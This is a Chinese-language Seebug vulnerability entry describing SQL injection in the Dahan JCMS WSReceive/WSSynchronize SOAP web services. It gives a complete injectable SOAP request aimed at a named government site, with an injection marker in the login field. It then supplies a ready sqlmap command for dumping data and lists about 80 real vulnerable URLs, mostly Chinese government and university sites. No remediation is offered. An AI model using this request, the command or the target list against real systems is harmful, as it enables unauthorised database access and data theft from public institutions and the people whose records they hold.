大汉jcms多处SQL注入二(附80个案例)

2015-01-05T00:00:00
ID SSV:93900
Type seebug
Reporter Root
Modified 2015-01-05T00:00:00

Description

简要描述:

一类很明显,但目前不容易发现的漏洞

详细说明:

webservice 漏洞,目前非常多的系统均有该service 恰巧的是,该service的漏洞,是不被人注意的,因而 教容易产生漏洞 /jcms/services/WSReceive?wsdl 下图的多个方法,方法中的多个参数均存在注入

<img src="https://images.seebug.org/upload/201501/04202015188133831fa9066379c3c339618dae7c.jpg" alt="0.jpg" width="600" onerror="javascript:errimg(this);">

随便选取一个方法进行测试 /jcms/services/WSReceive?wsdl wsGetColumn方法 用WSockExpert v0.7抓包,并保存为wooyun.txt

<img src="https://images.seebug.org/upload/201501/042022090ed626266d864fad5fcf89eadf47347a.jpg" alt="00.jpg" width="600" onerror="javascript:errimg(this);">

POST /jcms/services/WSReceive?wsdl HTTP/1.1 Accept-Encoding: gzip,deflate Content-Type: text/xml;charset=UTF-8 SOAPAction: "" Content-Length: 121 Host: www.wugang.gov.cn Connection: Keep-Alive User-Agent: google &lt;soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:rec="http://receive.blf.jcms"&gt; &lt;soapenv:Header/&gt; &lt;soapenv:Body&gt; &lt;rec:wsGetColumn soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt; &lt;strWebId xsi:type="xsd:string"&gt;wooyun&lt;/strWebId&gt; &lt;strLoginId xsi:type="xsd:string"&gt;wooyun*&lt;/strLoginId&gt; &lt;strPwd xsi:type="xsd:string"&gt;wooyun&lt;/strPwd&gt; &lt;strKey xsi:type="xsd:string"&gt;wooyun&lt;/strKey&gt; &lt;/rec:wsGetColumn&gt; &lt;/soapenv:Body&gt; &lt;/soapenv:Envelope&gt;

www.wugang.gov.cn

<img src="https://images.seebug.org/upload/201501/04202316b0f2b1f93ba3685fbca3582ee2a25fbb.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">

www.cshtz.gov.cn

<img src="https://images.seebug.org/upload/201501/042025230eb070d6b0654f293f4cd5aec5087d1f.jpg" alt="a.jpg" width="600" onerror="javascript:errimg(this);">

www.njqh.gov.cn

<img src="https://images.seebug.org/upload/201501/04202730895f426327c8b8385975666d3428b3c4.jpg" alt="aa.jpg" width="600" onerror="javascript:errimg(this);">

www.sihong.gov.cn

<img src="https://images.seebug.org/upload/201501/04203042267290660debaeb65eafd1b0350959e7.jpg" alt="aaa.jpg" width="600" onerror="javascript:errimg(this);">

可以直接用SQLMAP跑出的数据 sqlmap.py -r wooyun.txt

<img src="https://images.seebug.org/upload/201501/042031176a726a8f948e4c9a7e58e8022700f61b.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">

案例: http://www.changde.gov.cn/jcms/services/WSReceive?wsdl http://www.cshtz.gov.cn/jcms/services/WSReceive?wsdl http://www.njqh.gov.cn/jcms/service/WSSynchronize?wsdl http://www.lg.gov.cn/jcms/service/WSSynchronize?wsdl http://gzw.zj.gov.cn/jcms/service/WSSynchronize?wsdl http://www.sqsc.gov.cn/jcms/service/WSSynchronize?wsdl http://www.dongtai.gov.cn/jcms/services/WSReceive?wsdl http://www.sdfgw.gov.cn/jcms/service/WSSynchronize?wsdl http://ipad.zaozhuang.gov.cn/jcms/service/WSSynchronize?wsdl http://www.taizhou.gov.cn/jcms/service/WSSynchronize?wsdl http://www.sihong.gov.cn/jcms/services/WSReceive?wsdl http://ggzy.jinan.gov.cn/jcms/services/WSReceive?wsdl http://www.wugang.gov.cn/jcms/services/WSReceive?wsdl http://www.gzlps.gov.cn/jcms/services/WSReceive?wsdl http://www.zpgt.gov.cn/jcms/services/WSReceive?wsdl http://www.taojiang.gov.cn/jcms/services/WSReceive?wsdl http://tz.lda.gov.cn/jcms/service/WSSynchronize?wsdl http://www.huimin.gov.cn/jcms/service/WSSynchronize?wsdl http://autoweb.zjwst.gov.cn/jcms2.5//services/WSSynchronize?wsdl http://www.cncn.gov.cn/jcms/services/WSReceive?wsdl http://jsxy.zucc.edu.cn/jcms/services/WSReceive?wsdl http://www.gzdpc.gov.cn//jcms/services/WSReceive?wsdl http://www.ceec.net.cn/jcms/services/WSReceive?wsdl http://www.lixia.gov.cn/jcms/services/WSReceive?wsdl http://www.jinhua.gov.cn/jcms/services/WSReceive?wsdl http://zzb.10.gov.cn/jcms/services/WSReceive?wsdl http://www.ninghai.gov.cn/jcms/services/WSReceive?wsdl http://www.sihong.gov.cn/jcms/services/WSReceive?wsdl http://www.jining.gov.cn/jcms/services/WSReceive?wsdl http://www.jc.gansu.gov.cn/jcms/services/WSReceive?wsdl http://www.zgzhijiang.gov.cn/jcms/services/WSReceive?wsdl http://www.hzgjj.gov.cn/jcms/services/WSReceive?wsdl http://anxiang.gov.cn/jcms/services/WSReceive?wsdl http://jcms.nantong.gov.cn/jcms/services/WSReceive?wsdl http://www.geta.gov.cn/jcms/services/WSReceive?wsdl http://pub.jsds.gov.cn/jcms/services/WSReceive?wsdl http://www.sinotrans.com/jcms/service/WSSynchronize?wsdl http://www.jc.gansu.gov.cn/jcms/services/WSReceive?wsdl http://www.nbxsws.gov.cn/jcms/services/WSReceive?wsdl http://www.jsforestry.gov.cn/jcms/services/WSReceive?wsdl http://www.lc-news.com/jcms/services/WSReceive?wsdl http://www.xinghua.gov.cn/jcms/services/WSReceive?wsdl http://autoweb.zjwst.gov.cn/jcms2.5/services/WSSynchronize?wsdl http://www.jinxiang.gov.cn/jcms/services/WSReceive?wsdl http://www.sdxm.gov.cn/jcms25/service/WSSynchronize?wsdl http://www.xwzf.gov.cn/jcms24/service/WSSynchronize?wsdl http://www.zjdpc.gov.cn/jcms/services/WSReceive?wsdl http://www.jskx.org.cn/jcms/service/WSSynchronize?wsdl http://www.lzcgq.gov.cn/jcms/service/WSSynchronize?wsdl http://www.jdxc.net/jcms/service/WSSynchronize?wsdl http://sfl.zucc.edu.cn/jcms/service/WSSynchronize?wsdl http://nyyey.news.tcedu.com.cn/jcms/service/WSSynchronize?wsdl http://edu.tcjmxx.cn/jcms/service/WSSynchronize?wsdl http://www.haiyan.gov.cn/jcms/service/WSSynchronize?wsdl http://jiaowuchu.blcu.edu.cn/jcms/service/WSSynchronize?wsdl http://xjco.cscec.com/jcms/service/WSSynchronize?wsdl http://www.sinotrans-csc.com/jcms/service/WSSynchronize?wsdl http://njzx.news.tcedu.com.cn/jcms/service/WSSynchronize?wsdl http://www.weihai.gov.cn/jcms/service/WSSynchronize?wsdl http://www.rongcheng.gov.cn/jcms/service/WSSynchronize?wsdl http://www.yidu.gov.cn/jcms/service/WSSynchronize?wsdl http://www.tzhl.gov.cn/jcms/service/WSSynchronize?wsdl http://www.cxyx.cn/jcms/service/WSSynchronize?wsdl http://www.lda.gov.cn/jcms/service/WSSynchronize?wsdl http://www.tcedu.com.cn/jcms/service/WSSynchronize?wsdl http://www.blcu.edu.cn/jcms/service/WSSynchronize?wsdl http://jiaowuchu.blcu.edu.cn/jcms/service/WSSynchronize?wsdl http://www.yzu.edu.cn/jcms/service/WSSynchronize?wsdl http://www.gzwd.gov.cn/jcms/services/WSReceive?wsdl http://www.sdfda.gov.cn/jcms/services/WSReceive?wsdl http://www.czzl.gov.cn/jcms/services/WSReceive?wsdl http://yxy.zucc.edu.cn/jcms/service/WSSynchronize?wsdl http://www.bisu.edu.cn/jcms/service/WSSynchronize?wsdl http://www.nanxun.gov.cn/jcms/services/WSReceive?wsdl http://www.sheshantravel.com/jcms/services/WSReceive?wsdl http://sha.sinotrans.com/jcms/service/WSSynchronize?wsdl http://www.lzcgq.gov.cn/jcms/service/WSSynchronize?wsdl http://www.sinotrans-csc.com/jcms/services/WSReceive?wsdl http://fx.10.gov.cn/jcms/services/WSReceive?wsdl

漏洞证明:

<img src="https://images.seebug.org/upload/201501/042031176a726a8f948e4c9a7e58e8022700f61b.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">